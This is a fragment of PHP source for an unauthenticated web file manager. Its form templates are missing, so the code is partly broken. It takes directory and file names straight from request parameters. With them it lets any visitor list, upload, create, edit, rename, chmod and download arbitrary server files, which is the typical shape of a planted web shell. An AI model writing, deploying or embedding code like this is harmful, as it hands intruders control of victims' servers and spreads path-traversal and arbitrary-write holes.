Listing: $dir"; echo "
Upload success: $file_name
"; } else { echo "Upload failed!
"; } } echo << FORM; } function create_file($dir) { if (isset($_POST['newfile'])) { $newfile = $_POST['newfile']; file_put_contents($dir . '/' . $newfile, ''); echo "File created: $newfile
"; } echo << FORM; } function create_folder($dir) { if (isset($_POST['newfolder'])) { $newfolder = $_POST['newfolder']; mkdir($dir . '/' . $newfolder); echo "Folder created: $newfolder
"; } echo << FORM; } function edit_file($dir, $file) { $filepath = $dir . '/' . $file; if (isset($_POST['content'])) { file_put_contents($filepath, $_POST['content']); echo "File saved: $file
"; } $content = htmlspecialchars(file_get_contents($filepath)); echo << FORM; } function rename_file($dir) { if (isset($_POST['oldname']) && isset($_POST['newname'])) { $old = $dir . '/' . $_POST['oldname']; $new = $dir . '/' . $_POST['newname']; rename($old, $new); echo "Renamed: {$_POST['oldname']} -> {$_POST['newname']}
"; } echo << FORM; } function chmod_file($dir) { if (isset($_POST['file']) && isset($_POST['perm'])) { $file = $dir . '/' . $_POST['file']; chmod($file, octdec($_POST['perm'])); echo "CHMOD success: {$_POST['file']} -> {$_POST['perm']}
"; } echo << FORM; } $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); if (isset($_GET['file'])) { $file = $_GET['file']; edit_file($dir, $file); } elseif (isset($_GET['download'])) { $file = $_GET['download']; $filepath = $dir . '/' . $file; if (file_exists($filepath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($filepath).'"'); header('Content-Length: ' . filesize($filepath)); readfile($filepath); exit; } else { echo "File not found!"; } } else { echo "Current Directory: $dir
"; list_dir($dir); upload_file($dir); create_file($dir); create_folder($dir); rename_file($dir); chmod_file($dir); } ?>